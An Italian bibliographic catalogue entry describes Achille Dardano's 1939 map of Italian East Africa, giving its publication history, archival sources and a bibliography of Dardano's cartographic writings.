“I confini fra l’Africa Orientale Italiana, il Sudan anglo - egiziano e la colonia del Chenia non rivestono carattere ufficiale”. Legenda: strade (esistenti/in costruzione), piste camionabili (esistenti/in costruzione), piste carovaniere o mulattiere. Orogr.: planimetrico;

Africa orientale italiana (carta dimostrativa fisico - politica; policromia; curve di livello a tinte ipsometriche), autore A. Dardano, scala 1:2.000.000, 1939 (anno del rilievo), Istituto d’Arti Grafiche, Bergamo.
Da C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987, p. 70: “pubblicata in scala 1:2.000.000 dal Ministero delle Colonie, dapprima in 4 fogli, nel 1925, poi completamente rinnovata e, sempre in 4 fogli, riedita nel 1934 e nel 1935 -edizione diversa dalla precedente per quanto riguarda i confini tra Eritrea e Somalia francese-; nel 1936, 1938, 1939 la stessa carta (Africa orientale italiana) fu ancora ripubblicata, con aggiunte e perfezionamenti, ma in un solo grande foglio”.

Fonti d’archivio:
E. Casti Moreschi e G. Mangini (a cura di), Una geografia dell’Altrove. L’Atlante d’Africa di Arcangelo Ghisleri, Edizioni Linograf, Cremona, 1997;

C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987;

C. Traversi, L’Italia in Africa. Storia della cartografia coloniale italiana, Ist. Poligrafico dello Stato, Roma, 1964.

Bibliografia:
Opere di Achille Dardano:

A. Dardano, “Cartografia elementare pratica”, in: La geografia. Comunicazioni dell’Ist. Geogr. De Agostini di Novara, a. I, 1912-13;

A. Dardano, Metodo di esercizi cartografici scolastici in 24 tavole con testo illustrativo, Ist. Geogr. De Agostini, Novara, 1913;

A. Dardano, “Le proiezioni in planisfero per le carte di geografia economica”, in: La geografia, a. VII, gennaio - febbraio 1919, pp. 24-41;

A. Dardano, “Politica e cartografia”, in: La geografia, a. VII, 1919, pp. 94-101;

A. Dardano, “L’opera del Servizio Cartografico del Ministero delle Colonie”, in: Atti del IX Congresso Geografico Italiano, Genova 1924, II, pp. 21-24;

A. Dardano, Nozioni elementari di topografia e cartografia, s.e., Roma, 1927;

A. Dardano, “Cartografia coloniale”, in: Rivista delle colonie, I-II, 1927-28, pp. 265-272; anche in: Atti del X Congresso Geografico Italiano, Milano 1927, II, pp. 630-36;

A. Dardano, “Il Servizio Cartografico del Ministero delle Colonie e le direttive per l’inquadramento generale dei lavori cartografici coloniali”, in: Atti dell’XI Congresso Geografico Italiano, Napoli 1930, III, pp. 131-135;

A. Dardano, “Sviluppo e direttive della cartografia coloniale”, in: Atti del I Congresso di Studi Coloniali, Firenze 1931, III, pp. 74-89.


Opere su Dardano Achille o la sua attività:

L. Cipriani (recensione), “(A. Dardano, R. Riccardi) Atlante d’Africa”, in: Rivista Geografica Italiana, XLIII, 1936, pp. 311-312;

E. Migliorini, “Dardano, Achille”, in: AA. VV., Dizionario biografico degli italiani, Istituto della Enciclopedia italiana, Roma, Dall’Anconata - Da Ronco, vol. XXXII, 1986, pp. 771-775.

Rimandi ad altre schede: V. schede su Dalla Vedova Giuseppe, De Magistris L. F., Istituto Geografico De Agostini, Ministero delle Colonie, Società Geografica Italiana e Touring Club Italiano.

Autore della scheda: Claudio Cerreti